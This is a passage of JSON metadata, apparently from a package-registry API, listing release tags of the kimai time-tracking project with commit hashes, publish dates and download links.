"purl":"pkg:github/kimai/kimai@2.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.28/manifests"},{"name":"2.0.27","sha":"651f812da83b9ba46cc2297229b1444c7902bb36","kind":"commit","published_at":"2023-07-04T15:01:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.27","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.27/manifests"},{"name":"2.0.26","sha":"ce7fe67fcc5e915f1f60fbd379091974f9124145","kind":"commit","published_at":"2023-06-09T17:16:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.26","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.26/manifests"},{"name":"2.0.25","sha":"0663995d06b318710e162aaed3361d8f117c1dca","kind":"commit","published_at":"2023-06-06T21:05:20.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.25","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.25/manifests"},{"name":"2.0.24","sha":"2ba9cff28123d3e2711613f52a3655b531134597","kind":"commit","published_at":"2023-05-26T20:39:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.24","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.24/manifests"},{"name":"2.0.23","sha":"97092acae947e838b2ab38399d32993059790b48","kind":"commit","published_at":"2023-05-21T15:49:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.23","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.23/manifests"},{"name":"2.0.22","sha":"f0298335ee793d789c6ab763e8454a0d359fe83e","kind":"commit","published_at":"2023-05-20T10:08:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.22","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.22/manifests"},{"name":"2.0.21","sha":"9bd5965ecdea63748e46f77551451f125e2c762e","kind":"commit","published_at":"2023-05-17T13:02:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.21","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.21/manifests"},{"name":"2.0.20","sha":"29624354a21aa1058d5b0a514d4e4d816f8c81a6","kind":"commit","published_at":"2023-05-15T20:30:37.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.20","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.20/manifests"},{"name":"2.0.19","sha":"4b2a3669e62fdc56100d23da911b657fd444084c","kind":"commit","published_at":"2023-05-12T12:45:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.19","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.19/manifests"},{"name":"2.0.18","sha":"1099e76244c48623032810665f3f930efceffb1d","kind":"commit","published_at":"2023-05-08T15:11:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.18","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.18/manifests"},{"name":"2.0.17","sha":"66413d789c87743d3b3944001b763865a6bc0f9a","kind":"commit","published_at":"2023-05-01T22:40:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.17","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.17/manifests"},{"name":"2.0.16","sha":"01e26dca9eb6bde3a5f810ad971644f65a5b2d20","kind":"commit","published_at":"2023-04-27T16:48:31.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.16","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.16/manifests"},{"name":"2.0.15","sha":"046ed313c9c684dbc6295cb70e250253a34d9eab","kind":"commit","published_at":"2023-04-15T22:44:00.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.15","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.15/manifests"},{"name":"2.0.14","sha":"0c397e5080478a5880e3909dd9c3755f7c568393","kind":"commit","published_at":"2023-04-05T17:14:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.14","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.14/manifests"},{"name":"2.0.13","sha":"01226a12434a6379c1c8f50e70035821cfa2d4a5","kind":"commit","published_at":"2023-03-29T23:08:15.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.13","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.13/manifests"},{"name":"2.0.12","sha":"04b5eb4c38fa46cf7ee76eeb348c35d3669938dd","kind":"commit","published_at":"2023-03-23T23:47:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.12","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.12/manifests"},{"name":"2.0.11","sha":"3a5d7a62de10dcab1cc5ef0f971b7d81307c6fbe","kind":"commit","published_at":"2023-03-21T11:42:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.11","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.11/manifests"},{"name":"2.0.10","sha":"f007697a73abfe39ba22d77ed89a893dfe1508d8","kind":"commit","published_at":"2023-03-15T22:02:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.10","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.10/manifests"},{"name":"2.0.9","sha":"1a8c78944acdde24a75b544d7bd04bf51758f984","kind":"commit","published_at":"2023-03-14T22:51:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.9","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.9/manifests"},{"name":"2.0.8","sha":"8449eafcb65373ed6f6bacd9ec69943fa511b2e5","kind":"commit","published_at":"2023-03-13T00:48:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.8","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.8/manifests"},{"name":"2.0.7","sha":"1310285133adb1f78e018cbbef3e7d2f4b797e50","kind":"commit","published_at":"2023-03-08T22:30:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.7","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.7/manifests"},{"name":"2.0.6","sha":"9d503300f63eba68bcd4c1f828fefffd3fd4cde5","kind":"commit","published_at":"2023-03-07T23:38:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.6","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.6/manifests"},{"name":"2.0.5","sha":"cc39f25d37d06df216aca1d1824630b8e06f6f94","kind":"commit","published_at":"2023-03-05T02:44:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.5","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.5/manifests"},{"name":"1.30.11","sha":"c341d340e6efd02ca541bc3871b22d81d29d1589","kind":"commit","published_at":"2023-03-03T16:55:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.11","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.11/manifests"},{"name":"2.0.4","sha":"5c473ad39b31b2d9d9148664076babaa9c016bad","kind":"commit","published_at":"2023-03-02T13:22:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.4","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"a8b972f8a5e3aed398d008ed7333bae4c555e3e0","kind":"commit","published_at":"2023-02-25T19:57:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.3","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.3/manifests"},{"name":"2.0.2","sha":"266c4bad25e8632f723153c111bd637037879004","kind":"commit","published_at":"2023-02-22T14:06:54.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.2","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.2/manifests"},{"name":"1.30.10","sha":"6df135d54761aa70f951be059811028b97b9d12c","kind":"commit","published_at":"2023-02-21T09:42:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.10/manifests"},{"name":"1.30.9","sha":"a5109781fad27526d26728f6a1fab28e817198e3","kind":"commit","published_at":"2023-02-19T14:57:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.9/manifests"},{"name":"2.0.1","sha":"e474087257c090c58fcd04b30bcb53427acea10f","kind":"commit","published_at":"2023-02-18T13:19:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.1/manifests"},{"name":"1.30.8","sha":"2d809b4f06d5083a66bb618d9e2adabe9b152e15","kind":"commit","published_at":"2023-02-17T20:06:05.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.8/manifests"},{"name":"1.30.7","sha":"ced1883b6f3339b837208988370669f9f5a77eee","kind":"commit","published_at":"2023-02-09T12:02:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.7/manifests"},{"name":"2.0.0","sha":"d481f6826612055101d9642cf85de6bfb80189a9","kind":"commit","published_at":"2023-02-07T18:36:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0/manifests"},{"name":"1.30.6","sha":"57722f25fdeb2d71d7bdfa7dc1dd9c8c3527cc23","kind":"commit","published_at":"2023-02-06T14:57:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.6/manifests"},{"name":"2.0.0-rc-1","sha":"f32448b9f5510673f88af0f71f808b0f36766b78","kind":"commit","published_at":"2023-02-05T19:14:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-rc-1","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-rc-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-rc-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-rc-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-rc-1/manifests"},{"name":"2.0.0-beta-3","sha":"63a3ae11479df9df4e8426306863fee8bd0b38d3","kind":"commit","published_at":"2023-02-01T23:45:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta-3","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta-3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta-3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-3/manifests"},{"name":"2.0.0-beta-2","sha":"a230be77dd36a4e23853cb0bace93fcae1885ed9","kind":"commit","published_at":"2023-01-21T13:49:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta-2","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta-2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta-2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-2/manifests"},{"name":"1.30.5","sha":"db4179df1952f7677399f611a14a2ae4681ccca7","kind":"commit","published_at":"2023-01-20T11:55:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.5/manifests"},{"name":"1.30.4","sha":"b62253e1f33e35ccd35909e9bd65e73a34c74c41","kind":"commit","published_at":"2023-01-18T13:59:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.4/manifests"},{"name":"1.30.3","sha":"559868fedeee4abc46ad88a92b05c32c4e8920c3","kind":"commit","published_at":"2023-01-15T16:51:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.3/manifests"},{"name":"2.0.0-beta","sha":"8069e332febe5dc832bf5d5adb89e309b2700e2e","kind":"commit","published_at":"2023-01-12T11:10:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta/manifests"},{"name":"1.30.2","sha":"d74236d9aca1f49f314bea7d7bd9bd05258a7ec6","kind":"commit","published_at":"2023-01-09T23:23:26.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.2/manifests"},{"name":"2.0.0-alpha","sha":"90a0fd8a221dce23dbd27451682d7134ab1ce9df","kind":"commit","published_at":"2022-12-31T20:19:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-alpha","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-alpha","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-alpha","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-alpha","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-alpha/manifests"},{"name":"1.30.1","sha":"95e06746bd6eaa65db7b4576257447240e26e70b","kind":"commit","published_at":"2022-12-28T14:47:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.1/manifests"},{"name":"1.30.0","sha":"84cc65b008f9628cb48f404b9c8be74351ab4373","kind":"commit","published_at":"2022-12-17T00:43:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.0/manifests"},{"name":"1.29.1","sha":"2d82f0400da228d9b8bb890f5351445fcdc47480","kind":"commit","published_at":"2022-11-24T13:37:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.29.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.29.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.29.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.1/manifests"},{"name":"1.29.0","sha":"52f5e5640ecf3ecae35253e9ef0e80afdd48601a","kind":"commit","published_at":"2022-11-21T20:17:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.29.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.0/manifests"},{"name":"1.28.1","sha":"642d31432a1257e2f098c6bbd08380a5aa05e44e","kind":"commit","published_at":"2022-10-30T10:34:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.28.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/G